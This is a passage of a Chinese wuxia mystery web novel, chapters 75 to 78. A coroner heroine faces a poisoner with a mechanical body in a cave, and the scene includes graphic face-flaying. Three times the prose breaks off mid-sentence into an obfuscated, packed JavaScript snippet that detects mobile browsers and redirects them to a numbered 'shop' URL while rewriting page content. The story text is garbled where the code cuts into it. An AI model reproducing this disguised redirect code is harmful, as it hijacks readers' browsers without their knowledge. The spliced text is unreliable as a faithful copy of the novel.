苏朗将软剑握在手上,横在众人面前,面色凝重地看着王珏一步一步往床具走去,也不知怎么的,额上竟开始冒汗了。 他后退半步,问一旁的淑娘,“那上面躺着的是什么人?” 淑娘道:“有时是村子里送来的孩子,有时是山中的兽类,有时是……” “有时是什么?” 淑娘吞了口口水,道:“有时是尸体。” 正说着,王珏便已经走到一张床具前,并挑开盖在上面的布。 一张腐烂了一半的脸显露了出来,这竟是一具死了许久的尸体。而且好巧不巧,这具尸体他认识,正是青龙帮前帮主,楚邦。 “潜之,怎么了?” 王珏摇了摇头,继续往下一张床具走去。 他这样的反应使得苏朗更紧张了,为了缓和这紧张的气氛,他又问淑娘,“那淮阳妖人抓兽类作甚?” 淑娘摇头,“不知,许是为了试药?” “试药?” 淑娘紧抿着唇,看了一眼丽娘与贞娘,又埋头看了看自己,道:“我们也曾试过药。” “什么药?阿芙蓉吗?” 淑娘摇头,“不知,不过每回我们吃完都会吐一场,吐过之后,主人会……会很失望……” 王珏又挑开一块布,又是一张熟悉的面孔。 竟是楚括。 他细细打量了一番,最终松了一口气。 躺在床具上的楚括虽紧闭双眼,但面色正常四肢健全,更重要的是,他还有呼吸。 他还活着。 王珏正要往下一个走,才刚转身,手腕便突然被什么东西抓住,他正要回身摆脱,耳边便传来了一阵呕吐声,一堆散发着恶臭的秽物硬生生地落在了他的脚边。 王珏蹙了蹙眉,不顾床上楚括不适,猛地将他拎了起来,往不远处摔去。 75. 世间至毒 王珏闹出的动静惊动了所有人,要不是被苏兰拉着,苏朗怕是早就提着剑跑过去了。 他道:“潜之,怎么了?” 王珏道,“是楚括。” 说完,他迅速挑开剩下几张床具上盖着的布,床上躺着的分别是陆一和几个孩子,这几个孩子正是那日他们在河对岸眼见着送入沼泽的。 粗略地看了一圈,这几人都还活着。 确认没有危险之后,苏朗这才带着人跑了过去。 纳兰羿在楚括身旁蹲下,好一会儿,苏朗问:“如何?” 纳兰羿摇头,“中毒。这毒成分复杂,似是有几种不同的毒花毒虫与毒草调配而成,轻易解不了。” 这边的月夕也刚检查完陆一,“不错,其中有一种毒直逼心脉,若是强制解毒,怕是心脉会受损。” “那该如何是好?”苏兰问。 月夕蹙眉,“除非知道到底是什么毒花毒草与毒虫,以及它们的调配比。” “我只能推断毒草的其中一种是断肠草,毒虫中有蓝提蝎、碧落蛇与青苍蛛,其他的,我便不知了。”纳兰羿站起身,拍了拍身上的脏污,道。 苏朗啧声道:“这些都是世间至毒啊!” 王珏冷着脸在洞窟中走了一圈,就连里头的炼丹炉也看了一遭,最终在那棵大槐树下停了下来,挂在树枝上的亓官彧脸色苍白一动不动,四肢仿佛被冻住了,十分僵硬。鲜血顺着他的双脚落下,在树下积了一摊。 他蹙了蹙眉,抬手将扇子丢了出去,那扇子像是长了眼睛,在空中回旋了一圈,瞬时将绑着亓官彧的绳子割断了。 月夕朝他丢了一块布,王珏接住后单足点地飞向池中小岛,在亓官彧未完全跌落在地之前,将其接了个正着,并用布将他裹了起来,带回到众人面前。 亓官彧身上散发着一股非常浓重的血腥味,一想起方才楚括在他脚边呕吐的场景,王珏十分嫌恶地将亓官彧往空的床具上一丢。 “纳兰医生,劳烦你帮他看看。” 纳兰羿正在琢磨着楚括身上的毒到底是哪些毒虫毒花毒草,被他这么一喊,倏地起身走了过来,自顾自地便搭上了亓官彧的脉。 不过几息,他双眸忽然一亮,迅速回过神,咦了一声,又搭上了他另外一只手,又是几息,他眉头紧紧蹙起,又回到了方才的手腕上。 他如此往返,惹得一旁看着的人很是焦急,苏朗连连道:“纳兰,他还活着吗?” 纳兰羿点了点头,又摇了摇头,继续沿着他的脉络开始检查其他地方。 苏朗更慌了,“你这是什么意思?到底是死还是活?” 纳兰羿几乎将亓官彧整个身子检查了一遍,良久才正色道:“他死不了。” 苏朗听得有些云里雾里的,“这是何意?” 苏兰也不懂,凑到月夕身旁,“月姊姊,羿哥哥说的是什么啊?” “意思是,他不用治。”月夕道。 这话惹得兄妹二人更懵了,什么叫死不了不用治?若是不治他还能活吗?他可是流了那么多血呢! 王珏又看了一圈,直到确认洞窟中再没旁人,负手朝洞窟深处喊道:“淮阳妖人!我们已经来了,还不现身吗?” “喊什么喊?我不就在你眼前吗?” 稚童的声音再次响起,众人还未反应过来,床具上躺着的一个孩子突然睁开眼睛坐起身来。 也不知使了什么手段,他只一个抬手,众人便觉着眼前一片模糊,尤其是苏家兄妹与淑娘丽娘,更是觉着头昏脑胀,下一刻四人皆是一个一个噗通噗通地摔倒在地。 月夕迅速反应过来,连忙拉起纳兰羿退到王珏身后,手心紧紧抓着五枚银针蓄势待发。 孩子瞧见月夕纳兰羿与王珏三人都没倒下,微微挑了挑眉,“哟,倒是忘了有一个出身纳兰山庄的,听闻你们纳兰山庄每一代都会有一个药人,也不知这一代的药人会是谁?” 这句话仿佛戳中了纳兰羿的怒火神经,他冷道:“我纳兰山庄的事,便不劳阁下费心了!” “别呀,本座对纳兰山庄的药人很是好奇呢。”孩子站在床具上,双手叉腰非常得意地看着几人,“听闻今次的药人是个小娘子,还听说这小娘子失踪了?哎呀呀,多么好的药材啊……” “混账!”纳兰羿被气得脸颊通红,正要近前却被月夕拦了下来。 “他在故意激怒你。”月夕冷静道,“莫要上当。” 孩子眯了眯眼,将月夕上下打量了一圈,道:“顾月夕?这个名字倒是新鲜,没想到顾宗那老东西竟是阴差阳错地把你这个妙人给捡回去了,只可惜啊,这张难看的脸,怕是将来很难嫁出去啊……” 说着,他咯咯地笑了起来。 王珏脸色迅速沉了下来,他本想反驳,却被月夕抢了先,“比你这种永远长不大的好一些,我不嫁人照样能活,你呢?能活吗?” 纳兰羿与王珏眼底都闪过一丝诧异,都道月夕寡言冷漠,没想到说出的话竟是如此冰冷扎心。 不过诧异过后,王珏却不由得生起一抹骄傲,这个世道身为女子,就该有这样的性子,想来这么些年,她该是没让自己吃过亏,这样真好。 王珏这边觉得舒心,孩子那边却顿觉膈应,他还从未被人这般怼过,脸色狠厉了一会儿后,他又笑了起来,“好凌厉的一张嘴!只是不知做成兵人后,这张嘴还会不会说这样的话,啧啧,想想都觉着可惜。” 话音刚落,他突然打了个响指,躺在床具上的所有人全都站了起来,包括昏迷不醒的亓官彧以及躺在地上的楚括。 他像是在欣赏作品一般欣赏着这些人,好一会儿才道:“你们来得正好,我这还缺几味药呢,新鲜的人血最是有灵性,也不知你们可否舍一些给我?” 淑娘说得没错,此人非常人,前言不搭后语疯疯癫癫的,根本无法用对待常人的方式去对待他。 王珏微眯了眯眼,“我曾见过那淮阳妖人,他是一个三十几岁佝偻着身子的男子,并非是个孩子。你以为顶着淮阳妖人的名头,知道些稍微查一查就能查出来的事便能骗得了我们?” “王珏,看来你是忘了当年诏狱里那四个狱卒了。”孩子冷哼一声,再次强调道:“吾乃天人,以意识存活于世,四肢身体形象肉身都不过是外物罢了!” “是么?”王珏边手心暗自蓄力边打量着他,试图找到破绽。 谁想那孩子竟是很喜欢这样的打量,索性张开双手,站在床具上转了个圈,“这副身子不错吧?还要多谢这位纳兰医生,要不然我也不能好得这么快。” 三人的脸色倏地凝固住了,起初三人都以为这孩子是村子里献祭过来的,没想到他竟是那个在暗室里被救的浑身骨折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177324|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的孩子! 暗室本就黑暗,看不清他的五官,再后来,他又被厚厚裹了一层绷带,除了帮他洗脸裹绷带的苏兰,谁都没有看清过他的脸。 “想起我来了?” 孩子扬起一副得逞的笑容,“这么些年,我一个人待在这里实在太无趣了,龙雨村送过来的孩子质量也是参差不齐的,恰逢被我寻到了这么一副合适的肉身,是以刚装上四肢我便打算去县城走走。没成想……” 他居高临下,看向王珏,“没成想黎阳县的新县令居然是你,啧啧啧。” “十年前,你与李逢坏了我的大计,之后,你又在李逢的指点下,直接捣毁了我在京城的新据点,那时我只道你是个可惜的人才,如今啊……”他冷笑一声,“怪不得人人都想杀你啊,搞得我也想杀你了呢。” 他微微挑眉,冲王珏一笑,“对了,也不知李逢背着那些污名死状如何?谋逆可是大罪啊,啧啧啧,应该十分凄惨吧?听闻他还有个十分可爱的小娘子,像是落水失踪了?那小娘子是你的未婚妻吧?可惜啊,我竟没有亲眼得见……” 为了稳住情绪,牙关被王珏咬得咔咔作响,他狠狠地瞪了过去,“妖人住口!” “哎呀呀,莫要生气嘛。”孩子将被操控的几人围在身前,露出一个狡黠的笑容,“本座也不过是想同你叙叙旧罢了。” “对了,岔子河正巧是你那未婚妻小娘子落水处的下游,这些年我经常从里头捞些人,兴许……”他笑意更深,“你那小娘子早就被我做成兵人也说不一定呢。” “妖人!”王珏大喝一声,手里的扇子已然飞了出去,床具上的孩子却丝毫不惧,只打了个响指,离他最近的楚邦倏地挡在了他面前,不过瞬间,却听咔嚓一声,楚邦的脖子便被王珏丢出去的扇子给削断了。 那半颗腐烂的人头噗通一声滚落在地,孩子啧啧几声,“可惜了,这副身子可是我目前做的最好的!” 话音刚落,王珏想要再次蓄力,可不曾想,体内突然冒出一股莫名的力量,在这一刻与他的内力抗衡着,这力量来得突然,他一着不慎,心脉被这股力量趁虚而入,内力还未来得及蓄成形,就被这力量猛地一击。 四肢突然失去了力量,下一刻他瘫软在地,喉间满是腥甜。 那边的纳兰羿也没好到哪里去,就在方才,他便觉着体内气血沸腾,脉络忽得紊乱不堪,他虽好端端地站在那里,却浑身绯红,像是被什么东西由内而外烘烤着一般,十分煎熬。 月夕立即接住王珏,手暗自搭在了他的脉络上,不过片刻,她脸色一变。 王珏中毒了。 纳兰羿的百毒丸可解百毒,苏兰苏朗淑娘与丽娘没吃,中毒晕厥情有可原,可她方才也看了一圈,这洞窟中充其量就多了些瘴气,按理说,王珏也不该中毒才是! 可他竟也中了毒,这妖人到底用了什么法子? 突然,她的目光落在了角落里那一只还在炼丹药的炼丹炉,此刻炉子里还在往外冒着丝丝缕缕的浅淡白烟,难道是…… “哎呀,被发现了!”孩子不知何时已经走到月夕面前,他躬下|身,那双锐利的眼睛定定地看着她,“好聪明的小娘子,只不过长得实在太丑了些,要不然,留下做我的药童也是不错。” 他微微一笑,“放心,很快你也会像他们一般,无知无觉,任我摆布了。” 76. 长生不老 “任你摆布?”月夕不解,那双眼睛清澈得倒映出了孩子的模样,“如何摆布?怒火攻心失去神智吗?” “你怎么……没中毒?”孩子眉心微蹙,朝一旁打了个响指,距离他最近的亓官彧走了过来,站在他的面前。 “我为何会中毒?”月夕反问。 纳兰羿的百毒丸本就不错,再加上顾宗将她救回来后,也时常给她泡药浴,一般普通的毒伤不了她,就算是一些特殊的毒,只要她缓过来了,下一回必定不会再中招。 况且,这孩子放的毒必须怒火攻心才起效,而她,早已不知生气愤怒为何物了。 “你……你是谁?”如此清澈的眼睛吓坏了孩子,他连忙退至亓官彧身后,才敢开口,“你与李逢到底是何关系?” “你不是知道我是谁吗?怎么这么快便忘了?”月夕站起身来,朝那孩子步步紧逼,“我还要问问你李逢是谁呢。” 随着一个响指落下,亓官彧一个闪身挡在了月夕面前,月夕也不管他是死是活,抬手捏着银针就往他身上扎去。 “不必费劲了,你扎不死他的。”孩子呵呵一笑,“他可是这世上最完美的兵人!” 言罢,他又打了个响指,“把她抓起来,不准伤着!” 他朝月夕眨了眨眼睛,“我突然想到一个非常好玩的法子,也不知顾娘子有没有兴趣配合!” 话音刚落,月夕顿觉一阵天旋地转,下一刻,她被重重地丢在了床具上,双手双脚被绳索捆得严严实实,她竟是一丝反抗之力都没有。 孩子不知从何处拿来一把锋利的弯刀,月夕瞪了他一眼,但情绪依旧不多,“你想做什么?” 孩子抿唇一笑,“没什么,本座只是觉着你脸上的这块疤实在太丑了,若是将它割掉,你看上去会不会顺眼一些。” “不对。”他微微蹙起眉,“顾宗再怎么说也算是个杏林好手,怎地没将你这块疤去掉?” 月夕冷哼一声,并不理他。 孩子自顾自道,“我总觉着你的眼神似曾相识,这让我心里很不爽,不如这样,我帮你去了这块疤,作为酬劳,你将这双眼睛送给我,如何?” 月夕不以为然,看着他的时候就像是在看着什么普通到不值得看一眼的东西,“小孩,你知道这样做生意是会被打的。” “仙人!”孩子忽然道,“称呼本座时,该用仙人!” 月夕蹙起眉,依旧淡淡地看着他。 孩子气道,“我改主意了!我不仅要挖了你的眼睛,我还要吃了你的心!” 说罢,也不知他扣动了哪里的机关,他的十指突然长出了又长又尖的指甲,那些指甲是黑色的,看上去似是被精心打磨过,边缘十分锋利。 月夕瞬即恍悟,“你就是用这个东西取了袁正奎、何盛与青霜的心脏与面皮!” 冰冷的指甲已然在她的脸颊上落下,虽然有一层厚厚的疤痕挡着,月夕依旧感觉到指甲划破脸的疼痛。 她眯了眯眼。 看到她因此而疼,孩子手里的动作愈发慢了下来,他冷笑一声,承认道:“你兴许不知道,人心可是这世上最好的药材,越新鲜的越珍贵,若是没有那三颗人心,我也不会恢复得这么快,只可惜,我还缺几味药……” 他朝楚括与陆一打了个响指,两人如傀儡一般站起身,一个朝纳兰羿走去,一个则是朝王珏走去,眨眼功夫,两人便被捆绑得严严实实,被吊在了一旁的岩壁之上。 而这边的几个小孩也是废了很大的力气,将苏兰与苏朗从地上扶起来,并绑在床具上,一切完成之后,他们乖巧地退到了一旁,其中一个还正正踩中了掉落一旁的楚邦的头颅,他却不以为然,依旧如木头般站在那里。 感觉到月夕在吃痛,孩子手里的动作更慢了,“你们坏了本座的好事,按理说本座该将你们都吃了的,可是有人买了王珏的命,本座只能杀他却不能动他,那对双生子是上好的药材,本座也舍不得动他们,纳兰家的这个,脑子里定有纳兰家药人的秘方,我也舍不得动……哎呀,糟糕,只剩下你了呢。” “是以,你是故意杀了那三人,引我们前来?” “是啊。”孩子毫不犹豫,立即承认了,“就许你们坏本座的好事,就不许本座报复?这天底下哪有这样的事?你说对吧?” 细密的鲜血从月夕脸颊流下,她的衣襟瞬即被染红了,孩子割了一会儿又停了下来,似是在欣赏自己在她脸上的杰作。 伤口不深,甚至只割到最上面的一层轻薄面皮,可他似是对准了脉络往下割,那疼痛像极了被万只蚂蚁在啃食般,月夕暗暗咬着牙,极力忍着。 孩子很满意,隔了好一会儿,继续下手,“哎呀呀,说起来你的骨相还不错,若是这张面皮没被烧毁,定是个顶绝的美人。” “黎阳城外杀县尊的刺客,城里的刺客以及戚三娘带的那些人,”月夕看着他:“都是你的人。” 孩子抿唇一笑,“美人呀,你什么都好,只是脑子太聪明了些,实在太令人讨厌了。” 说着,他手里的动作加重了些,月夕不由得颤抖了一下。 不知为何,月夕忽而想起王珏审问人时的样子,她思考了一会儿,道,“看来你只是个听命于人的小喽啰,自己根本做不了主。” 果不其然,孩子脸上的笑容忽得一凝,“本座是仙人!谁敢指使仙人?” “有啊。”月夕道,“指使你杀王珏的人。” “我与那小子本就有仇,杀他报仇还需人指使?”孩子挑眉,力道又加重了些。 月夕强忍着疼痛,咬牙道:“既如此,你为何不敢想做什么就做什么?” “用不着你管!” 话音刚落,月夕顿觉脸颊被狠狠撕下一片,火辣辣地疼。 来不及顾及这疼痛,她继续道,“那些人怕是想要借你的刀杀人呢!你可真蠢!” “你给我闭嘴!”孩子手里拿着她的半张满是疤痕的面皮,指着她恶狠狠道,“信不信本座将你变成一个无脸的丑八怪?!” “我信。”月夕淡淡地看着他。 孩子从未想过她会说出这两个字,正要喷涌而出的滔天怒气硬生生被他憋回胸腔,也正是这么一憋,他顿觉心中郁闷,口腔中竟猛地涌出一丝腥甜来。 他不可思议地看着她,久久说不出话,但好在下一刻理智回笼,将手里那半张面皮丢弃之后,直接从怀里掏出两个瓷瓶,得意地朝她眯眼一笑,“这两个瓷瓶中,其中一瓶能治愈你的脸,另外一瓶则是能加快你脸部的腐烂,你想要哪一个?” 月夕忍着脸上剧痛,目不转睛地看着他,“若是我猜得不错,这两个瓶子里装的都是一样的东西,你是个妖人,又岂会随身揣着救人的东西?” “谁说我不会揣着救人的东西?龙雨村送过来的那些孩子,可都是我救的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201465|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子道,“在他们眼中,我可是河神!” “哦?”月夕反问一句,显然不信。 孩子砰得一声打开了其中一个瓷瓶,但很快他反应过来,又将瓶子盖上,“你当我傻么?” 说着,他站起身来,饶有兴致地看着她的那半张血肉模糊的脸,“听闻撕扯掉面皮后,皮下组织会失去保护,即便是被清风微微一吹,也疼痛无比,我实在好奇,似你这样嘴硬的小娘子,能够承受到几时。” “你倒是高看我了。”月夕不吝啬夸赞道,“只不过,你这撕扯面皮的手艺倒是不错。” 孩子猛地一回头,讶异地看着她,像是在看一个十分古怪的东西一般,突然他举起手使劲敲打着自己的脑袋,好半晌才停下,“怎么办,我又舍不得杀你了,不如这样,我把你做成兵人,再教你这剥皮之术?” 月夕微微挑眉,意有所指道:“兵人?指的是那些没有脑子的废物吗?” “不不不,我不会让你没脑子!”孩子道,“你的脑子这般精贵,要好好留着!” 月夕呵然一笑,“你这般突然殷勤地护着我的脑子,不知道的还以为你要收我为徒呢。” 孩子本还想再劝说一二,被她这么一说,又是猛地一顿,下一刻竟是陷入了一丝悲痛中,“收徒有什么用?倒不如兵人来的忠诚!” 月夕眸色一凝,“看来你是被你的徒弟们背叛了。” 孩子眼里忽得充满戾气,“好端端的提他作甚?反正他也没什么天分,只顾着依葫芦画瓢,还妄想让众人称他为仙,呵,痴心妄想!” 他忽然一顿,朝她微微一笑,“你若是能跟着本座好好学,本座必定叫你容姿绝顶长生不老!如何?” “哦?”月夕依旧不为所动,“所以你已经炼成了长生不老术?” “那是自然!”孩子拍拍胸脯自信道,“要不然我又怎知你们的事!” 月夕嗤笑一声,道:“道州民,多侏儒,长者不过三尺余。市作矮奴年进送,号为道州任土贡。任土贡,宁若斯?不闻使人生别离,老翁哭孙母哭儿!【注】” 顾宗屋子里有很多书,除了讲医术的,还有一些文学杂书,其中便有这篇来自上唐时期名为《道州民》的诗歌。 这首诗歌讲的便是道州侏儒一事。 道州由于地理位置和自然条件的限制,缺乏独特的物产,因此地方官员为了迎合皇室或上级官员的需求,开始将当地的侏儒作为贡品送往皇宫。 由于天然生成的侏儒数量有限,无法满足皇室和达官贵人的需求,地方官员又要完成进贡任务,因此逐渐产生了“人造侏儒”的行为。 “人造侏儒”极其残忍极端,将幼童装进陶罐中,只露出头部,以限制其身体发育,久而久之陶罐中的幼童便会渐渐畸形,长成侏儒模样。 好在后来有一位名叫阳城的官员被贬为道州刺史,听闻此事大怒,连续上书数年,最终才将这残忍的习俗给废除掉,自此,道州只有矮民没有矮奴。 大约是知晓世俗的偏见,自那之后,道州矮民们便寻了地方隐居了起来,直到改朝换代也从未出现在普通民众眼前。 若没有那些书籍,怕是世人早就将这一特殊民种给忘了。 顾宗曾跟她说过,天下之大无奇不有,没见过并不代表没有,若将来真遇见一个成熟的孩童骸骨,也莫要直接下定论,或许,那会是一具成年的侏儒尸身。 77. 身体的秘密 面前的“孩子”倏地面露凶光,没了方才的轻松自在,有的是浑身戾气和杀气。 他冷冷地看着月夕,“你怎么看出来的?” “我是一个仵作。”月夕抬头,那双清澈的眼睛定定地看着他,仿佛要将他的所有形态都倒映出来,“未成年孩童与成人的骨骼是有本质不同的。” 他沉默了一会儿,突然笑出了声,也不知是什么戳中了他的笑点,他越笑越大声,直到笑道有些喘不过气才停下。 他得逞地看着她,“那又如何?” 月夕道,“若我猜得不错,这些年袁正奎以及龙雨村的百姓所提供的孩童,一些用于拐卖,还有一些用于你的四肢锻造,你也想像普通成年人一般拥有正常的四肢长度与身高,只可惜你天生如此,是以你利用淮阳的秘术,找寻到合适的孩童四肢,再将其嫁接在自己身上。然而淮阳的秘术本就不成熟,这导致你每隔一段时日就要换一换四肢。我想你身上的这一套四肢,该是最合你身的吧?” 他扯了扯嘴角,没有否认。 月夕道,“可即便再合身也比不上自己原来的四肢,袁正奎不再向你提供孩童,龙雨村孩童你又看不上,是以你才会铤而走险亲自去黎阳县城,万万没想到竟是被你遇到了纳兰医生。” “你说你看上了苏家双生子,那不过是个幌子,你真正看上的,该是纳兰医生的医术,因为只有他的医术才让你的四肢听了你的话。是也不是?” 他的牙关被咬得咔咔作响,“你知道的,有点太多了。” “我反正都要死了,有些话不说出来,未免就太遗憾了。” 月夕依旧淡淡地看着他,仿佛一个破罐子破摔问心无愧一心赴死之人。 他有些看不明白了,再次问她:“你与李逢到底是什么关系?” “这个问题你问了多遍,我的答案依旧。”月夕道,“李逢是谁?” 他嘶了一声,忽得跑到月夕面前,伸手捏住了她的头颅,摸索许久后,他哈哈一声笑,“你脑子里有个东西!怪不得!哈哈!” 月夕不否认,“是啊,有个血块,这世间怕是无人敢取。” “谁说无人?”他道,“我就敢取!” “可是你的手已经不稳了。”月夕看着他那双并非自己的手,道。 他冷哼一声,“你也太小看我了。” 话音刚落,他顿觉自己身子一轻,整个人便被牢牢摔在了墙壁上,一顿天旋地转之后,手腕脖子与脚腕分别一紧,自己竟是被吊在了方才吊王珏与纳兰羿的地方。 月夕暗自舒了口气,亓官彧终于醒了。 她研究过亓官彧的身体,他虽然极有爆发力,可这爆发力都基于燃烧自己精力之上,没了精力,他就仿佛是一块不会动的木头,然他的脉络又异于常人,无论经受过怎样的摧残,假以时日都能慢慢恢复。 方才她趁乱探过亓官彧的脉络,虽然伤得不轻,但脉门却没被完全关上,若是加以刺激,他的精力就会急速恢复,一旦精力恢复,他便有能力自己抗衡这侏儒给他下的毒。 所以刚刚,她直接用银针刺了他的几处大穴。 只是此举对于他来说却很是冒险,他的精力属于爆发型,若侏儒给他下的毒足够量,精力一旦猛然恢复,可能会导致毒在他体内渗透得更快。 但好在,她赌对了! 这侏儒可惜地啧了一声,“应该再放大些剂量的,唉,大意了!” 瞧见床具上一脸血肉模糊的月夕,亓官彧心尖一颤,然则介于此人诡计多端,又不好轻易下手,便紧紧掐住他的脖子,“你对她做了什么?” 侏儒自信地扬起脖子,丝毫不惧他的匕首,“没看出来吗?本座这是在给她换面皮!” 说着,他突然眼睛一亮,视线几乎是黏在亓官彧身上,“果然如此!果然如此!这世上果然有兵人!小子,制你的人是谁?” 亓官彧脸色忽得白了几分,要不是没有完全恢复,这会儿他怕是早就将那侏儒的脖子给掐断了。 “死矮子,你胡说什么?” “你可是受了伤后昏迷一阵便能自己好转?你可是爆发力异于常人?你可是从未生过病?你可是……自愈力超绝?” 亓官彧暗暗运功,那些在体内零散着的内力终于开始慢慢凝聚,只稍稍一吸力,他便将一旁木格子里的一把匕首吸到了手心。 他将匕首横在侏儒脖颈处,红着眼警告道:“你若再胡说一句,我便杀了你!” 侏儒毫无惧色,甚至愈发兴奋了些,“告诉我,你儿时经历了什么?可是先药浴再以百毒喂养?这世间可当真有噬心蛊这东西?” 月夕本想趁机从床具上逃脱,可无奈那侏儒捆绑她的手法过于繁琐,挣扎了许久都无用,她只好暂且罢手,等亓官彧解决了那侏儒过来解救她。 可谁想,当那侏儒说完这些话后,亓官彧的神色便开始不对劲了。 月夕暗道一声不好,亓官彧虽然破开了侏儒的控制,可炼丹炉中的烟雾依旧缭绕,那东西最忌怒,一旦怒火攻心,他怕是又要被控制了! 正当她要想法子提醒亓官彧之时,却见他忽然抬手,手里的匕首正正得对着侏儒的胸口刺了下去。 月夕正欲张开的嘴倏地顿住了,眼里满是惊讶。 她倒也不是惊讶于亓官彧下手稳准急迅,而是讶异于原本该鲜血四射的场景,如今却是干干净净,原本该死于心脏破裂骤停的侏儒,竟是即便被插着刀也好端端地睁着眼笑眯眯地活着。 机关术! 月夕脑子里顿时浮现出这三个字来。 果不其然,匕首刺入侏儒胸膛之后,月夕听到了一阵十分清脆的机关碰撞声。 侏儒笑道,“你杀不死我的,即便你坏了我的身子,我还有无数个身子可以替换,如此不死不休对你我都不好,不如你把身体的秘密告诉我,今后我保证不会出现在你面前,如何?” 看到侏儒这非常人的身体,亓官彧也很震惊,但很快他回过神,冷笑一声,“我不会轻易死,但你不一定。” 说着他要将匕首从他胸膛里拔出来,然许是方才扎|得太深,又或许是匕首被什么东西卡住,他怎么都拔不出来。 侏儒呵笑一声,“罢了,既然你不想同我好好说,我便只有用强了。” 说着,他朝空中连续打了好几个响指,也不知从何处飞下十几个黑衣人,乌泱泱的一片,将众人团团围住。 月夕眯了眯眼,这些黑衣人里,大部分她都见过,其中几个早已死在了乱葬岗里,此刻还隐约散发着尸臭。 侏儒冲他们道:“把他抓起来,泡药浴。” 黑衣人会意,突然朝亓官彧围了上来。 “亓官郎君!先救我!”月夕冲着他喊道。 亓官彧会意,暂时放弃杀侏儒,一个闪身出现在月夕身旁,不过稍稍一用力,捆绑月夕手脚的绳索便被她扯断了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221935|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >月夕也顾不上脸上的伤以及被血染红的半边衣襟,起身后便往苏家兄妹和淑娘丽娘处跑。 还好为了以防万一,她备了好多银针在身上,时间紧迫,她也顾不得干净卫生,跑到他们跟前时,便一手各拿一枚银针,双管齐下,在四人的几处穴位上扎了几下。 四人猛地抽了抽,渐渐有了反应,正好此刻楚括与陆一受侏儒控制朝她走来,她迎面就是几针,扎完之后,那两人也是抽了抽,便如木头一般站在了原地,一动不动。 侏儒早就发现了她的意图,可奈何自己被绳索和匕首死死固定在墙上,只好指使黑衣人过来阻止她,亓官彧自然不肯将黑衣人放过来,如此这般,那边的打斗愈发激烈了。 月夕跑到侏儒这边,先是在纳兰羿与王珏身上扎了几针,再解开他们的绳索,随后走到侏儒面前,定定地看着他。 不知道为何,月夕总觉着机关术于她有着莫名的熟悉,莫名的,她就是知道机关术的一些原理,也知道机关术如何制作才算高明。 就如同眼前侏儒身体里的机关术来说,就算是十分高明的。 他用了特殊的材质仿制了人类的血管肌肤骨骼与器官,甚至连半个心脏都被仿制得惟妙惟肖,只可惜假的就是假的,再如何仿制也成不了真的。 月夕拨开侏儒胸口的伤口细细地观察着他肌肤以下的所有机关术构造,但由于此刻她少了一张面皮,研究时的神色又过于认真凝重,在侏儒与一旁的人看来,像极了她在研究如何将侏儒剥皮抽筋烹制而食一般。 “月姊姊不要啊!”刚刚醒转的苏兰见到如此画面,不由得大喊了一声。 这一声不仅打断了月夕的思路,也驱散了侏儒对月夕的恐惧,他突然在月夕面前大笑了起来,笑完之后才道,“我知道你是谁了!你姓李!哈哈哈哈哈!你就是李逢的女儿!哈哈哈哈哈!” 他越笑越癫狂,那张嘴都快合不拢了,但依旧继续道,“就是通天观害了你父,你难道就不想为他报仇吗?我有法子!不如咱们合作……” 话音刚落,一把玉扇从远处旋转而来,只听咔嚓一声,侏儒那满是机关术的脑袋便从脖子上脱落,咕噜噜地掉在了地上,滚了几圈后,毫无生机。 众人这才恍悟,这侏儒竟早已不是人了。 为了防止月夕发狂,苏兰也顾不得她身上的血迹,慌忙跑过来紧紧抱住她,边在她怀里哭边道,“月姊姊,你快冷静下来,羿哥哥出身纳兰山庄,他定会救你的!” 月夕本就忍着脸上传来的剧痛,如今又被苏兰用吃奶的力气抱着,更是一时喘不过气。 她咳了几声,终于找到了自己的声音,“阿兰,我无事,你先放开我。” 苏兰以为自己产生幻觉了,忽然屏住呼吸,抬头观察了一会儿,又哭了起来,“羿哥哥你快来啊,月姊姊要入魔了!” 月夕:…… 众人:…… “入什么魔?你话本子是不是看多了?”苏朗即使跑过来,一把拎起她的后脖颈,“你快让开,届时小月娘的伤治不好怪谁?” 苏兰听到自家兄长的话,这才将眼泪收了起来,环顾了一圈,见众人都如看神经病一样得看着她,脸颊一下子红了起来。 她慌忙如兔子般从月夕身边跳开,躲到了苏朗身后,原本她还想借着苏朗的身形挡一挡自己的尴尬,可一看到他一身衣裳全湿透了,不免觉得心疼这一身珍贵的衣料,“阿兄,你掉水里啦?” 78. 解惑 “什么就掉水里了?”苏朗连连道,“要不是我及时把那炉子浇灭了,你们指不定还会中招!” 原来在众人打斗的时候,苏朗也在伺机寻找帮忙的口子,恰逢此时听到纳兰羿说炼丹炉的古怪,便二话不说将自己投进那摊水中,待到衣袍吸饱了大量的水,再往丹炉里一挤,丹炉里这才没再散出烟雾。 苏兰随意地哦了一声,便不再理他。 